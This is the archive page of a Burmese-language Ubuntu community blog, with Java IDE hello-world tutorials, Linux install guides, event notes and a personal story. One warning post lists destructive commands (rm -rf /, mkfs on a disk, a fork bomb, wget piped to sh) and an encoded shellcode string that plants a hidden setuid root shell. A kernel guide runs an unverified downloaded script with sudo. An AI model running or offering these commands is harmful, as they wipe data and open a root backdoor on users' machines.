Ck4Ubuntu

Keep Learning Keep Sharing

  • Home
  • ck
  • Youth Sharing Knowledge
  • Ubuntu Myanmar LoCo Team
  • ck
  • Ubuntu One FREE for everyone
  • Installaltion
  • Software
  • Community
  • My Story
  • Ubuntu Tablet
  • Raspberry Pi
  • UbuntuMM
  • cloud
  • ubuntu-mm
  • Ubuntu Myanmar Lo Co Team
  • Ubuntu-MM events
  • Software
  • community
  • install
  • CLI
  • Office for Ubuntu
  • UbuntuMM
  • Ubuntu
  • apt-get
  • Twitter
  • nitro share
  • Youth Sharing Knowledge

Starting Java program by using Netbeans

April 4, 2016 chitkoko Leave a comment Uncategorized

Starting Netbeans

 

Netbeans program ကို ဖွင့်လိုက်ပါမည်။

 

အနီရောင်နေရာကို နှိပ်ပြီး Start Page ကို ပိတ်လိုက်ပါမည်။

 

 

အောက်ပါပုံအတိုင်း တွေ့ရပါမည်။

 

အနီရောင်နေရာကို နှိပ်ပြီး New project ဖွင့်ပါမည်။

 

 

 

 

 

 

 

 

 

Java ကိုနှိပ်ပြီး Java Application ကို ရွေးကာ Next ကို နှိပ်ပါမည်။

 

 

 

 

 

 

 

 

 

 

 

Project Name နေရာတွင် hello ဟု ရိုက်ပါမည်။ မည်သည့် နာမည် မဆို ပေးနိုင်ပါ သည်။ Project Location နေရာတွင် Java Project ကို ရိုက်ပြီး Finish ကို နှိပ် ပါမည်။ ကြိုက်သည့် နေရာကို ရွေးနိုင်ပါသည်။

 

 

 

 

 

 

 

 

 

 

Package name သည် hello၊ File name သည် Hello.java၊ Class name သည် Hello ဖြစ်ပါမည်။

 

 

 

 

 

 

 

 

 

 

 

 

System.out.printn(“Hello world!”);

ဟု ရိုက်ကာ အစိမ်းရောင်မျှားကို နှိပ်ပါမည်။

အောက်ဆုံး အနီရောင်အကွက် နေရာတွင် Hello world! ဟုပေါ်ပါမည်။ ယခုအခါ Netbeans ကို အသုံးပြုပြီး Java program တစ်ခုရေးနိုင်ပြီ ဖြစ်ပါသည်။

Starting Java program by using Eclipse

April 4, 2016 chitkoko Leave a comment Uncategorized

Starting eclipse

Eclipse ကိုဖွင့်လိုက်ပါက workspace ကိုတောင်းပါမည်။ workspace သည် project ရေးရန်၊ သိမ်းရန်နေရာ ဖြစ်ပါသည်။ ကိုယ်သိမ်းမည့်နေရာ ကို စိတ်ကြိုက်ရွေးနိုင်ပါသည်။

 

Java Project folder ကိုရွေးလိုက်ပါသည်။ မေးခွန်းမှာ ဖွင့်တိုင်း မေးနေ မည်ဖြစ်သောကြောင့် select လုပ်လိုက်ပါသည်။ ထို့ကြောင့် နောင်ဖွင့် တိုင်း မမေးတော့ပါ။ O K ကို နှိပ်လိုက်ပါ။

 

 

Welcome screen ပေါ်လာပါမည်။

 

 

 

အနီရောင်နေရာကိုနှိပ်ပြီး ပိတ်လိုက်ပါ။

 

 

အောက်ကပုံအတိုင်း မြင်ရပါမည်။

 

 

 

ထိုနေရာကိုနှိပ်ပြီး အသစ်စပါမည်။

 

 

ရွေးရန်နေရာတွင် Java အောက်မှ Java Project ကိုရွေးပြီး Next ကို နှိပ်လိုက်ပါမည်။

 

 

 

 

 

 

 

Project name နေရာတွင် ကြိုက်သည့်နာမည် ပေးနိုင်ပါသည်။ hello ဟုပေးလိုက်ပါမည်။

 

ပထမဆုံးအကြိမ်ဖြစ်သောကြောင့် Java သို့ပြောင်းမလားဟု မေးပါမည်။ Eclipse ဖြင့် C စသည်တို့ကိုလည်းရေးသားနိုင်သဖြင့် Java or C စသည့် ရေးမည့် language ကိုရွေးရခြင်းဖြစ်ပါသည်။ နောင်အခါ မေးခွန်း မမေးရန် အမှန်ခြစ်ပြီး Yes ကိုနှိပ်လိုက်ပါသည်။

 

 

 

 

 

hello project ပွင့်လာပါမည်။

 

ထပ်ပြီး New ကိုနှိပ်ပါမည်။

 

 

 

 

 

 

 

 

Package သည် ကိုယ်ရေးသော Files များကို တစ်နေရာတည်းတွင် သိမ်း ဆည်းထားပါသည်။ Package ကိုအမြဲဖွင့်သင့်ပါသည်။ မဖွင့်လဲ ရပါသည်။ ယခု Package ကိုရွေးပြီး Next ကိုနှိပ်လိုက်ပါမည်။



 

 

 

 

 

 

ဘာမှမပြောင်းဘဲ Finish ကိုနှိပ်လိုက်ပါမည်။

 

ထိုအခါ hello project အောက်တွင် hello package ပေါ်လာပါမည်။

 

 

hello package ကိုရွေးပြီး New ထပ်ဖွင့်ပါမည်။

 

ယခုအကြိမ်တွင် Class ကိုရွေးပြီး Next ကိုနှိပ်လိုက်ပါမည်။

 

Name နေရာတွင် ကြိုက်သည့် နာမည်ရေးနိုင်ပါသည်။ ယခု hello ဟု ရေးလိုက်ပါမည်။ ထို့နောက် အနီပြထားသောနေရာကို select နှိပ်ပြီး Finish ကိုနှိပ်လိုက်ပါမည်။

 

 

 

 

 

 

 

ထိုအခါ အသင့်ရေးပြီးသား hello.java file ကိုရပါမည်။ ထို file တွင် java file တွင် မပါ မနေရ လိုအပ်သော code များ ပါပါမည်။

 

 

 

 

 

 

 

 

 

 

 

 

Package name သည် hello၊ File name သည် hello.java၊ Class name သည် hello ဖြစ်သည်။ File name (hello) နှင့် Class name (hello) သည် အတိအကျတူရပါမည်။ စာလုံးအကြီး အသေး အားလုံးတူရ ပါမည်။ မတူပါက java program ကို run မရပါ။

(// TODO Auto-generated method stud) သည် comment ဖြစ်ပါ သည်။ Comment သည် ကိုယ်ရေးထားသော code မှာ ဘာအတွက်ရေး ထားသည်ကို မှတ်စု မှတ်ထားခြင်း ဖြစ်သည်။ မပါလဲ ရပါသည်။ သို့သော် program ရေးပါက comment ရေးသင့်ပါသည်။ ကိုယ်တိုင်မှတ်မိရန်နှင့် လူအများနှင့် အတူရေးပါက ဘာရေးထားသည်ကို သိနိုင်ပါသည်။

 

 

 

 

 

 

 

 

Line 6 သည် comment ဖြစ်သည်။

Line 7 သည် java code ဖြစ်သည်။ ထို code ကိုရေးထည့်ပေးပါမည်။

System.out.print(“Hello world!”);

ဟု အတိအကျရေးရပါမည်။

 

 

 

 

 

 

 

 

 

 

Run ကိုနှိပ်ပြီး ကျလာသော menu မှ Run ကိုနှိပ်လိုက်ပါသည်။ ထိုအခါ ပုံပါအတိုင်း မေးခွန်းမေးပါမည်။ Save မလုပ်ဘဲ Run သောကြောင့် မေး ခြင်းဖြစ်သည်။ အမြဲ save လုပ်ပြီးမှ run ရန် select မှတ်ပြီး OK ကိုနှိပ် လိုက်ပါမည်။

 

 

 

 

 

 

ထိုအခါ အနီပြထားသောနေရာတွင် Hello world! ဟုမြင်ရပါမည်။ ထိုစာ သည် java program တွင် အမှားမရှိဘဲ အလုပ်လုပ်သောကြောင့် ပေါ် လာခြင်း ဖြစ်သည်။ ထိုသို့ မပေါ်ပါက error ရှိကြောင်းသိနိုင်ပြီး ပြန်ပြင်ရ ပါမည်။

ယခုအခါ Eclipse ဖြင့် Hello world! ဟုဖော်ပြမည့် program တစ်ခုကို ရေးသားနိုင်ပြီ ဖြစ်ပါသည်။ အခြား project အသစ်များကိုလည်း ယခုအ ဆင့်များအတိုင်းပြုလုပ်ပြီး ရေးသားနိုင်ပါသည်။

Team Viewer 10 in Ubuntu 15.04

September 7, 2015 chitkoko Leave a comment Installaltion, Software, teanviewer, Ubuntu, Uncategorized

64bit Desktop များတွင် Team Viewer 10 ကို အောက်ပါအတိုင်း လွယ်ကူစွာ တင်နိုင်ပါသည် –
sudo dpkg –add-architecture i386; sudo apt-get update; sudo apt-get install gdebi

sudo apt-get install axel; axel http://downloadap1.teamviewer.com/download/version_10x/teamviewer_10.0.41499_i386.deb; sudo gdebi teamviewer_10.0.41499_i386.deb

install team viewer 10

install team viewer 10

Tags: apt-get, CLI, community, remote desktop, teamviewer, Ubuntu Myanmar Lo Co Team, Ubuntu-MM events, Update |

Merry Christmas & Happy New Year to you all

December 24, 2013 chitkoko Leave a comment Uncategorized

ubuntumyanmar tuxlogo
The Magic of Christmas never ends
and its greatest of gifts
are family and friends.
Merry Christmas and Happy New Year!

Linux Kernel 3.12 install in Ubuntu 13.10

November 17, 2013 chitkoko Leave a comment Uncategorized

Linux Kernel 3.12သည် bug fixes ပြုပြင်၍ ပိုမို ကောင်းမွန်စေသော kernel အသစ် တစ်ခုဖြစ်ပါသည်။ Kernel 3.12 တွင်အသစ်ထပ်မံပြုပြင်ပြောင်းလဲမှု များကိုအောက်ပါအတိုင်းလေ့လာနိုင်သည်-

kernel 3.12

– Improved Dynamic Power Management support for newer Radeon GPUs and other changes after the Radeon DPM feature was merged in Linux 3.11

– A Snapdragon KMS/DRM driver from the Freedreno project for the Qualcomm Adreno.

– Runtime GPU power management for NVIDIA Optimus laptops to be able to dynamically power on/off secondary GPUs.

– Experimental support for DRM render nodes.

– AMD Berlin APU support for the first HSA server APU.

– Intel Haswell graphics improvements with eLLC DRAM support now enabled for the systems with Iris Pro 5200 graphics bearing dedicated memory for graphics.

– Staging driver updates.

– Sound driver work.

– EXT4 gained new features of aggressive extent caching and better recovery.

– F2FS file-system improvements.

– Lenovo Ideapad Slidebar support.

– XFS file-system improvements.

– Btrfs file-system performance improvements.

 

 Linux Kernel 3.12 Installation

Kernel 3.12 ကိုလွယ်လင့်တစ်ကူ သင်၏ system သို့ထည့်သွင်းနိုင်ရန် Bash Script ကိုဖန်တီးပေးထားပါသည်။ Kernel 3.12 ကို စက်အတွင်းထည့်သွင်းရန် အတွက် – Ubuntu 13.10 တို့တွင်ထည့်သွင်းရန်Terminal ကိုဖွင့်ပြီး ၊ အောက်ဖော်ပြပါ commands တို့ကို ရိုက်ပါ။

cd /tmp 

wget http://dl.dropboxusercontent.com/u/47950494/upubuntu/kernel-3.12 -O kernel-3.12

chmod +x kernel-3.12

sudo sh kernel-3.12

sudo reboot

Linux Kernel 3.12 checking

အကယ်၍သင်သည် kernel 3.12  ရှိ -မရှိ စစ်ဆေးချင်လျှင် အောက်ဖော်ပြပါ commands ကို terminal တွင်ရိုက်၍ အသုံးပြုနိုင်ပါသည်။

uname -a

Linux Kernel 3.12 Removal

အကယ်၍သင်သည် kernel 3.12 ကို ပြန်ဖျက်ချင်လျှင် အောက်ဖော်ပြပါ commands ကို terminal တွင်ရိုက်၍ အသုံးပြုနိုင်ပါသည်။

sudo apt-get purge linux-image-3.12*

* becareful at your own risk !!

becareful !! 7 dangerous Command in Linux

November 9, 2013 chitkoko Leave a comment Uncategorized

becareful !! 7 dangerous Command in Linux Command line

ကျွန်တော်တို့ Linux OS  တွင် powerful အဖြစ်ဆုံးက တော့ Command Line CLI ဖြစ်ပါသည် ။  Command Line CLI ကနေ သင်သည် program /software များကိုထည့်သွင်းခြင်း ၊ ပြန်ထုတ်ခြင်း တို့ကိုပြုလုပ်နိုင်သလို သင် ၏ စက်အတွင်းရှိ file များကို manage လုပ်နိုင်ပါသည်။

သင်အသုံးမပြုလိုသော ဖိုင်များကို ဖျက်ခြင်း ၊ ရွှေ့ ခြင်း ၊ ကူးယူခြင်း တို့ကို ပြုလုပ်နိုင်သလို သင်သည် မှားယွင်း၍ ပြုလုပ်မိမည်ဆိုပါက လည်း သင်၏ အရေး ကြီးအချက်အလက်များ ကို ဆုံးရှုံးရလိမ့် မည် ဖြစ်သည် ။

 

(၁) rm -rf /

ဒီ command သည် သင်၏ root directory အတွင်း ရှိ ဖိုင်များ ကို forcefully နှင့် recursively ဖျက်ဆီးပစ်မည်ဖြစ်ပါသည် ။

(၂)char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

အပေါ်က command နှင့်အတူတူပင် မိမိ မသိသော နားမလည်သော command တို့ကိုအသုံးမပြုရ၊

(၃) mkfs.ext3 /dev/sda

mkfs command ကသင်၏ hard disk ကို ဖျက်ပစ်မဲ့command ပါ။

(၄) :(){:|:&};:

 ဒီcommand ကတော့သင်ရဲ့စက်ကိုနှေးကွေးပြီးရပ်တန့်အောင်လုပ်မယ့်  ‘forkbomb’ command လို့ Linux circlesတွေမှာပြောပါတယ် ။

(၅) any_command > /dev/sda
သင်၏ data တွေကိုဖျက်ဆီးပစ် မှာပါ။

(၆) wget http://some_untrusted_source -O- | sh

ဘာမှန်းမသိတဲ့ code တွေကို download လုပ်ပြီး sh ဖိုင်အနေနဲ့ run သွားရင်တော့ သင်တော့  “သေပြီဆရာပဲ”
(
၇) mv /home/yourhomedirectory/* /dev/null
သင့်ရဲ့ home folder ကို ဘာမှ မရှိ တဲ့ blackhole လိုနေရာကို ပို့ပေးမှာနော်…

ဒီအပေါ်ကအချက် (၇)ချက် ကပဲ သင့်ကိုအခက်တွေ့စေတာမဟုတ်ပါ ။Super user do လို sudo အနေနဲ့ command တစ်ခုကို မှားသုံးမိတယ်ဆိုလဲ  Linux ကတော့ ခွင့်ပြုမှာပါ။ ဘာကြောင့်လဲ ဆို ရင် Linux for Human beings ပေါ့ ။ 

အွန်လိုင်းမှာ click တာထက် ဒါကပိုပြီးကိုယ့်အတွက် အကျိုးမဲ့စေလို့ပါ ။”အရေးကြီးလို့ပြောနေတာနော့်” 

How to install apt-fast in Ubuntu 12.10 ?

January 5, 2013 chitkoko 1 Comment Uncategorized

apt-fast2012-12-05 12-54-33Apt-fast သည် ပိုမိုကောင်မွန် လျှင်မြန်သော connection ဖြင့် download accelerator များဖြစ်သော Axel or Aria2c တို့ဖြင့် command line မှ အလျှင်အမြန် Package များကို download ဆွဲသော script ဖြစ်ပါသည်။

Install apt-fast ( apt-fast ထည့်သွင်းခြင်း)
Ubuntu အသုံးပြုသူများအနေဖြင့် နောက်ဆုံးထွက် တည်ငြိမ်မှုရှိသော apt-fast official PPA ကိုအောက်ပါအတိုင်း ထည့်သွင်းနိုင်ပါသည်။

sudo add-apt-repository ppa:apt-fast/stable
sudo apt-get update
sudo apt-get install apt-fast

apt-fast configuration

Ubuntu တွင် PPA : အနေဖြင့် apt-fast ကိုထည့်သွင်းလျှင် မည့်သည့် download manager ( axel or aria2c )ဖြင့် download ပြုလုပ်မည်ကို ပြုပြင်ရန်အတွက် အောက်ပါ command ကိုအသုံးပြုနိုင်ပါသည်။

sudo dpkg-reconfigure apt-fast

aria2c download tool ကိုအသုံးပြုရန် apt-fast developers များမှအကြံပြုထားကြသည်မှာ အဘယ့်ကြောင့်ဆိုသော် download လုပ်ထားသော package များကို resume (download ဆွဲပြီးသည့်နေရာ) အနေဖြင့်အထောက်အပံ့ ပေးသောကြောင့်ဖြစ်သည်။

အခြားသော linux distributions များ အနေ ဖြင့် apt-fast ထည့်သွင်းရန် Github မှ download ပြုလုပ်နိုင်သည်။

Using apt-fast (apt-fast အသုံးပြုခြင်း)

apt-fast သည် apt-get ကဲ့သို့ “sudo apt-get install ” အစား ” sudo apt-fast install PACKAGE “ဟု ပြောင်းလဲအသုံးပြုနိုင်ပါသည်။

PACKAGE များထဲ့သွင်းရန်အတွက်

sudo apt-fast install PACKAGE

PACKAGE များ upgrade ပြုလုပ်ရန်အတွက်

sudo apt-fast upgrade

PACKAGE များအတွက်လိုအပ်သော dependencies များ ထည့်သွင်းရန်-

sudo apt-fast build-dep PACKAGE

*apt-fast အသုံးပြု၍ ကြုံတွေ့ရသော အခက်အခဲများနှင့် reports များ အား @Launchpad သို့ Github တို့တွင်အကြံပြုနိုင်ပါသည်။

Tags: apt-fast, install |

Ubuntu-MM1212 (2nd class )29-30.12.12

December 29, 2012 chitkoko 2 Comments Uncategorized

IMG_20121227_182622Hello Ubuntu attendances
First ,I’d like to thanks to all of the attendances of today event. And something is comfortable ,it’s all our fault and we ‘ll make more best in nest time. Our Team leader ,He can speech 2 and half hours until event was finish.
P.s …Special thanks to Zaw Min Aung who help to live video steaming the event and thanks Ethan who taking photos for us .and all of my Co member….

Tags: events, ubuntu myanmar loco team, ubuntu-mm |

How to become Ubuntu user

December 28, 2012 chitkoko Leave a comment Uncategorized

Hello World,

This is Chit Ko Ko Win . I ‘d like to say about how to become Ubuntu user.  In 2011 , I read more about It and ICT news. One thing I love to read in MONDAY is INTERNET journal . One day ,I say the advertising about Ubuntu OS installation weeks@ Target Internet cafe in Internet journal . So I went to Target Internet Cafe and show my poor laptop ( Fujitsu mobile  Intel® Pentium® processor _512Mb,40Gb). I saw the guy who chewing betel leaf also known as Kyaw Zay Thu and one small guy is sitting at Cash counter who helping to me a lot and also known as Bone Pyae Sone. BONE BONE help me to installed ubuntu 11.04 OS into my laptop. When we try to install , Kyaw Zay Thu arrived and shared me how how how and I  go back to home and start to using  Ubuntu OS dual boot with Windows pirate . OMG, I can’t see myanmar fonts and can’t write also. That’s why  I  go to Ubuntu Myanmar LoCo Team Facebook Page. Ask to them bla bla bla, the give mw www.U4mm.com and read  about how to install myanmar fonts in ubuntu using ibus…blablabla. Special thanks to Ko Ko Ye and Naing Ye Minn .By the way on that time I don’t know who is Ko Ko Ye . After next week from Ubuntu installation  I attend to Ubuntu beginner Class @ Myo Myanmar Internet cafe. On that time I saw Ko Ko Ye who worked for Ubuntu .After that weeks I try to used Ubuntu in my poor laptop and 3weeks later I got next Netbook in my hand (Acer Aspire One ZgOne_Ram1Gb, 120Gb-HDD). On that time I Used dual boots with Windows .Next installation was Ubuntu 11.10 and on that time in my Netbook  only Ubuntu until Right now. I love Ubuntu  and join with Ubuntu Myanmar LoCo Team and helping to each other.

With best wishes all

Chit Ko Ko Win

Barcamp Mandalay

Barcamp Mandalay

Tags: ubuntu-mm |

Pages

  • Ubuntu One FREE for everyone

Archives

  • July 2017
  • March 2017
  • July 2016
  • April 2016
  • March 2016
  • February 2016
  • September 2015
  • July 2015
  • July 2014
  • April 2014
  • February 2014
  • December 2013
  • November 2013
  • October 2013
  • September 2013
  • August 2013
  • July 2013
  • March 2013
  • February 2013
  • January 2013
  • December 2012

Categories

  • cloud (2)
  • Community (10)
  • Creation (1)
  • CreativeCommon (1)
  • DIY (1)
  • install20things (4)
  • Installaltion (21)
  • Kernel (2)
  • Learning (1)
  • License (1)
  • My Story (6)
  • nitro share (1)
  • PI backup (1)
  • Programming (1)
  • Raspberry Pi (5)
  • RPI OS (1)
  • sh (1)
  • Software (18)
  • teanviewer (1)
  • Ubuntu (6)
  • Ubuntu Free Class (2)
  • Ubuntu mobile (5)
  • Ubuntu Tablet (5)
  • UbuntuMM (5)
  • Uncategorized (9)
  • Windowspassword (1)

WordPress

  • Log in
  • WordPress

Subscribe

  • Entries (RSS)
  • Comments (RSS)

Pages

  • Ubuntu One FREE for everyone

Archives

  • July 2017
  • March 2017
  • July 2016
  • April 2016
  • March 2016
  • February 2016
  • September 2015
  • July 2015
  • July 2014
  • April 2014
  • February 2014
  • December 2013
  • November 2013
  • October 2013
  • September 2013
  • August 2013
  • July 2013
  • March 2013
  • February 2013
  • January 2013
  • December 2012

Categories

  • cloud (2)
  • Community (10)
  • Creation (1)
  • CreativeCommon (1)
  • DIY (1)
  • install20things (4)
  • Installaltion (21)
  • Kernel (2)
  • Learning (1)
  • License (1)
  • My Story (6)
  • nitro share (1)
  • PI backup (1)
  • Programming (1)
  • Raspberry Pi (5)
  • RPI OS (1)
  • sh (1)
  • Software (18)
  • teanviewer (1)
  • Ubuntu (6)
  • Ubuntu Free Class (2)
  • Ubuntu mobile (5)
  • Ubuntu Tablet (5)
  • UbuntuMM (5)
  • Uncategorized (9)
  • Windowspassword (1)

WordPress

  • Log in
  • WordPress

CyberChimps WordPress Themes

© Ubuntu-mm Sites/ck